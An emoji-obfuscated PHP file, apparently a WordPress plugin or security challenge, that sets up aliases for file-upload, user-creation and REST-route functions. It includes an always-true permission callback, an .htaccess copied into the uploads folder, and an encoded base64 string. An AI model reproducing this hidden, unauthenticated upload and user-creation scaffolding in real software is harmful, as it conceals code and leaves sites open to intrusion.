<?php

/*
 * 🧐👀❓📄
 * 🤷‍♂️🤔➡️⛔📖❌😵
 * 🕳️💀🐉🚫🔄
 *
 * */

(✍️.'')('🕳️', '');
(✍️.'')('🌌', ' ');
(✍️.'')('🧨', 'explode');

$🤨 = '_ 👀 🗯️ 👻 🏠 🪨 🖼️';

$📋 = [
    '⚀' => 1,
    '🐘' => '.php',
    '🧬' => 'urlencode',
    '🤯' => 'implode',
    '🚰' => 'filter',
    '➕' => 'add',
    '🧼' => 'sanitize_text_field',
    '🚿' => 'sanitize_file_name',
    '🗡️' => '/',
    '👤' => 'user_login',
    '🔑' => 'user_pass',
    '📛' => 'name',
    '♻️📛' => 'tmp_name',
    '🥇' => 'first_name',
    '🏁' => 'last_name',
    '🔍👤' => 'get_user_meta',
    '🔄👤' => 'update_user_meta',
    '👤✅' => 'is_user_logged_in',
    '👤🔍' => 'wp_get_current_user',
    '🔍🧩' => 'in_array',
    '🧩🔢' => 'array',
    '🔄🎲' => 'array_rand',
    '⚠️❌' => 'WP_Error',
    '🔡' => 'strtolower',
    '📩' => 'wp_insert_user',
    '🛌' => 'rest_ensure_response',
    '📥' => 'GET',
    '✉️' => 'POST',
    '📸' => 'jpg',
    '📸🇪📸' => 'jpeg',
    '🏞️' => 'png',
    '🏞️📸' => 'image/jpeg',
    '🏞️🖼️' => 'image/png',
    '🗂️🧪' => 'mime_content_type',
    '🚛🆙🗄️' => 'move_uploaded_file',
    '🥪' => 'add_action',
    '🛌🟢' => 'rest_api_init',
    '🥱' => 'register_rest_route',
    '🧩' => 'methods',
    '📂⁉️' => 'is_dir',
    '📝⁉️' => 'file_exists',
    '📂‼️' => 'mkdir',
    '☎️' => 'callback',
    '🗃️' => '_FILES',
    '🤙' => 'permission_callback',
    '🪃💯' => '__return_true',
    '💯' => true,
    '🔸' => '.',
    '🧵' => 'str_replace',
    '🪪' => 'htaccess',
    '📏' => 'constant',
    '🪹' => 'is_empty',
    '🫥' => 'copy',
    '🏰📂' => 'basedir',
    '📤🗂️' => 'wp_upload_dir',
    '🚨️⁉️' => 'is_wp_error',
    '🗂️📋' => 'dirname',
    '🗺️' => 'map',
    '👔📜' => 'admin_enqueue_scripts',
    '🚀📜' => 'wp_enqueue_script',
    '🏰🔗' => 'baseurl',
    '🙉' => 'base64_decode',
    '🙈' => 'U2xCRFpteE1WSGR1TlVObVNVUXdaMGwyUTJac1RGUjNialZEWmtscWN6MD0=',
];

foreach ((🕳️.🧨)(🌌,$🤨) as $🧝) {
    $📋[$🧝] = $🧝;
}

foreach ($📋 as $🔑 => $👛) {
    (🕳️.✍️)($🔑, $👛);
}

function ⬆️📂(){
    $⬆️ = 🤝(📤🗂️)()[🏰📂] . 🗡️ . 👀;
    if (!🤝(📝⁉️)($⬆️)) {
        🤝(📂‼️)($⬆️);
        // 🔞
        🤝(🫥)(🤝(🗂️📋)(__FILE__). 🗡️ .'🔞', $⬆️ . 🗡️ . 🔸 . 🪪);
    }
    return $⬆️;
}

function ⬆️🔗($👣){
    return 🤝(📤🗂️)()[🏰🔗] . 🗡️ . 👀 . 🤝(🧵)(⬆️📂(), 🕳️, $👣);
}

function 🤝(...$🗣️) {
    return (🤯.🕳️)($🗣️);
}

function 🧬(...$🗣️) {
    return (🤯.🕳️)(🗡️, 🤝(🧩🔢,_,🗺️)(🧬, $🗣️));
}

function 🚫($🍔) {
    return 🤝(🚨️⁉️)($🍔);
}

function 🤷‍♂️($🙋, $🗣️){
    return $🙋->get_param($🗣️);
}

function 💂() {
    return 🤝(👤✅)();
}

function 🤖() {
    $🦄 = 🤝(🧨)(🌌, "🤣 🥳 🤩 🤔 🤖 👻 👽 🦄 🐶 🐸 🦊 🦁");
    return $🦄[🤝(🔄🎲)($🦄)];
}

function 🚨($📇, $💬){
    return new WP_Error($📇, $💬);
}

function 🗺️($🧑‍🌾){
    return $GLOBALS[$🧑‍🌾];
}

function 💃⁉️(){
    return 🤝(👤🔍)()->ID;
}